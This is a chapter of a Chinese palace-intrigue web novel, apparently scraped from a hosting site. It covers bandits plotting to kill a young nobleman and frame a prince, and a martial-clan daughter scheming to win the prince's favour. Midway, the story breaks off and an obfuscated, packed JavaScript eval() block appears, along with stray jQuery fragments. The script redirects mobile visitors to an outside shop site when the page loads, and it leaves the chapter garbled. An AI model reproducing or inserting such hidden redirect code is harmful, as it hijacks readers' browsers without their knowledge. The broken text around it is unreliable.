文趣网 > 玄幻小说 > 从冷宫签到开始的晋升路 > 67. 第 67 章
    任远和傅峥霖主仆两人之间往来被不少人看在眼里,大多数人都事不关己的移开视线,少数几人还在心里琢磨双方来路,但有一伙人,身着寻常粗布衣服,做乡下庄人打扮的,见了此景,为首一人眼中闪过一丝算计,只见他轻轻偏了偏头,示意身后的人跟上,随即分散着,不经意间便从人群中逆流而出,去了不远处的一条暗巷中。

    “大哥,不守着了?”

    一个长相憨厚的高大汉子仔细观察了下四周,不见异样,方率先开口问道。

    张达,这些人的老大,同样其貌不扬,就是眼神偶尔会露出凶光,听了二弟的话,扯起嘴角冷笑一下,道:“憨子,咱们是为了完成任务而不是上去送命!现在没头没脑的冲上去,只能是像刘八一样找死,咱们和他们可不一样,要用脑子!”

    赵二郎疑惑地抓了抓头发,“那咋办?用了脑子不也得往上冲吗?”

    李叁拍了他二哥一下,语气轻松地说道:“咱就听大哥吩咐便是了,大哥肯定有法子了。”

    “没错,看到刚才挨揍的那俩了吗?那公子转身扶他护卫时,露出了大氅下的腰带上的极品白玉扣,那可不是普通人能随便戴的,而且他俩说话口音是汴京那边的,肯定有来头。”

    “正好两伙人有了冲突,咱们打不过楼上那些,也混不进去就籓车队,就从外面着手,弄死那个公子,把线索引向平王,回头再把这事往外一传,我就不信那个看着就细皮嫩肉的小子家里会善罢甘休。到时候,等他们正面起了冲突,咱们就在后面浑水摸鱼,事情不就好办多了吗?”

    赵二郎歪着脑袋琢磨了一下,他大哥说的好像有理?只是,“那要是他们打不起来?咱们不是白杀人了?”

    张达横了他一眼,“少说丧气话,要是真打不起来,回头麻烦到就是咱们兄弟!至于说那小子,白杀就白杀呗,算他倒霉!”

    赵二郎嘿嘿憨笑,“行,大哥你说啥是啥,我这就带人去追那俩倒霉蛋,找到就直接下手了啊。”

    张达合计了一下,刚才那护卫明显受了内伤,看他吓得赶紧带人跑掉,就知道他心里没底。

    按说这样的贵公子身边该有不少护卫,可瞧那小子一身自以为低调的装扮,搞不好在玩什么便服出游的把戏。

    他最知道这些人了,闲的蛋疼,天真的很,总以为外面处处都是善意,呵,这回就让爷爷教他一回乖,江湖乱的很,说不准什么时候就得丢了小命!

    “别大意了,确定就那两人再动手,要是还有其他护卫,就先回来,咱们定个计再说。”

    傅峥霖这会儿正懊恼着,怪自己不该看人家姑娘出了神,被打了一下倒没什么,连累自家诚伯受伤就不妥了。

    “诚伯,我看咱们还是休息两天,养养伤吧。”

    黄奕诚回到住处,先服了个内伤药,就赶紧收拾起行李来。

    “不行,公子,我突然有种不好的预感,咱们必须马上离开。”

    他在江湖上混迹多年,连累家人后,幡然醒悟要远离江湖,才在傅家做了客卿,专门护卫傅峥霖的安全。

    他别的本事或许一般,但直觉这方面,向来是他走南闯北的底气。

    刚才开始还好,等越靠近客栈,心里就越发慌乱,肯定是有什么危险的事要发生了。

    傅峥霖是个好脾气的,见黄奕诚坚持,虽然有些不解,终归还是同意了。

    所以,等赵二郎带人寻到附近时,傅家主仆已经悄悄混进人流中溜出城了。

    *

    另一边,酒楼上的元蘅等人吃的、看的差不多了,想着楼下人挤人也没什么好玩的,就打算回驿站早点歇着,准备明天再去长武山逛逛。

    不料刚起身,外面走廊里传来说话声,片刻后,门口亲卫进来禀报,“公子,外面有个自称是图兰山庄苏蓁蓁的姑娘求见。”

    宁绍珣一点儿兴趣都没有,直接一句话,“不见。”

    说完,就拉着元蘅继续往外走。

    那个叫苏蓁蓁的姑娘正好就在门外不远处,见宁绍珣等人出来,不待她带人上前,就被平王府亲卫给挡到一边。

    她和身边的人脸色瞬间难看了起来。

    小县城的酒楼,再好,底子也就那样,走廊不算宽敞,楼梯自然也只是够普通两三人宽的款式。

    宁绍珣和元蘅正要路过时,苏蓁蓁顿时开口道:“图兰山庄苏蓁蓁见过贵人!好叫贵人知道,我等并无恶意,只因听说冠玉庄梁沫冒犯贵人,被扭送去了衙门,心中快慰,特意前来感谢,另外……”

    苏蓁蓁说到这,故意停顿了一下,或是想等其他人主动询问,不过宁绍珣能听她啰嗦两句只是因为正好顺路,见她不说,一瞬也未停歇的接着下楼离开。

    “你!”

    随着众人经过,苏蓁蓁看到了当中的两人,自然清楚她口中的贵人应该就是那个清俊如玉的总角少年。

    果然是个孩子,居然这么对自己,苏蓁蓁自觉受了委屈,正想发脾气,就被旁边亲卫满是警惕、煞气的眼神镇住了,等六皇子他们出了酒楼,她才慢慢吐出口长气,回过神来。

    是了,问都不问就敢收拾、打伤梁沫的人,怎么可能简单?自己本是来结交贵人的,岂能胡乱使小性子得罪人?

    多亏方才没来得及发作一番,不然,说不好自己就得去给梁沫作伴了!

    苏蓁蓁站在原地愣神,她身边的人也感受到了严焕等人身上发出的威慑力,一齐跟着发呆,直到新的客人上楼弄出动静,她们才唤小二要了个房间坐下。

    苏蓁蓁的跟班,江月柔见她脸色还好,小心翼翼地出声问道:“大小姐,他们究竟是什么人?好像很厉害的样子。”

    苏蓁蓁低头沉思了片刻,“听说,早上驿站那边来了一大队人马,能进官驿的,这个时候,说不好可能就是那个就籓路过此处的平王了吧!”

    亲王就籓,一路理应由当地官府把握好分寸的郑重接待,当然,像六皇子这样嫌麻烦、又没什么野心招揽人心的半大小孩,他要是不想应酬,一路上,这些事都交给长史司的人就不用露面了。

    一支近五千人的队伍动静不小,很多该知道的、不该知道的都会听到风声,消息灵通的,更是会知道队伍大概在什么位置,图兰山庄在大梁道地界上小有名气,姻亲也比较得力,所以也知道点平王就籓的事,只是江湖和官府是两条路,听过便算,没想过会有交集。

    不对,她们现在也不能说有交集,人家根本就没把自己一行人放在眼里,不过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623011|202392||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    若真是平王本尊,那对方如此傲气也是正常。

    江月柔听到平王两字也了然了,她看了眼苏蓁蓁,试探着说道:“平王殿下年幼,许是正爱热闹的时候,咱家三小姐粉雕玉琢的可爱,性子也好,不然回去传信给家主,请他让三小姐来一趟?”

    还别说,苏蓁蓁真的犹豫了一下,苏家‘盛产’美人,要不她也不会被梁沫那个狗东西盯上。

    只是碍于苏家姻亲多,关系网复杂,梁沫被家里管着,暂时还不敢胡来。

    中午,双方碰上,起了口角,她搬出本地的一个姑父,才压得梁沫转身走人,然后对方就撞上了平王。

    那梁沫向来嚣张跋扈,梁家是当地武林世家,族里还出了个卫所千户,自打对方盯上自己,就总来恶心她,气的她差点儿就不敢出门了。

    眼下,不过平王一句话,对方多半是彻底完了,所以,自古以来,‘民不与官斗’、‘官大一级压死人’这话都有些道理,要是妹妹能得了平王喜爱,纵使两人年纪还小,不过暂时做个玩伴也很好啊。

    只是,她这么想,但平王会不会接受就不一定了,万一小孩子还不知道美丑,没看上妹妹,这事要是传出去,那妹妹的名声、她们图兰山庄的名声可就不好听了。

    想了半天,苏蓁蓁决定这事还是交给家里定夺吧,梁沫的事也得知会一声,别回头再牵扯到他们苏家就不妙了。

    元蘅不知道,自己一行人不过出去转了一圈,一堆人的命运线都发生了改变,不过就算她知道了,也得无语地嘀咕一声,“这都什么破事啊!”

    回了驿站,天还没黑,得知沈子婴买了十几车的东西回来,好奇的跑到那边凑热闹,结果还没到地方,就看到一个熟悉的身影换了身粗使杂役的衣裳忙进忙出。

    元蘅站在原地愣了下,疑惑地指着那个身影问道:“那不是盈月吗?她怎么来这儿了?”

    宁绍珣也在,顺着方向看去,记起对方是那个不懂规矩的宫女,看了眼元蘅,拉着她从另一侧绕开,道:“那个人心眼太多,我不喜欢,就让人把她赶去做杂役了。”

    元蘅闻言扭头又看了一眼,突然不知道该说什么好,她不知道盈月做了什么让六皇子不高兴了,正常来说,他一直是个心地仁厚的懂事孩子,能让他开口撵人,多半对方确实做了什么,可另一方面来讲,这事要是落在下人身上,挺残酷的,正经宫女和粗使杂役的区别太大了,尤其要是受罚去的,多半要遭不少罪。

    虽然知道不该,但她突然想到自己当初被人扔到冷宫的事了,哪怕两者之间性质完全不同,但都是从正常环境里跌落进逆境中,就有点儿心情复杂。

    宁绍珣是个敏感的,察觉到元蘅的不自在,憋了一会儿,突然出声道:“你要是觉得我做的不合理,我可以让人把她放出去,她这样的宫女,在上报后,是可以放回自由身的。”

    元蘅犹豫了一下,“我也不知道她到底做了什么事惹你不高兴了,殿下从来不是无理取闹的人,你肯定有这么做的道理。只是对方毕竟是个女孩子,天天混在一群男杂役堆里干粗活,确实有点儿不合适,你要是不生气了,就换个惩戒方式吧,至于其他的,我可不好乱说,咱们平王府应该是有规矩的,一切按规矩来就行。”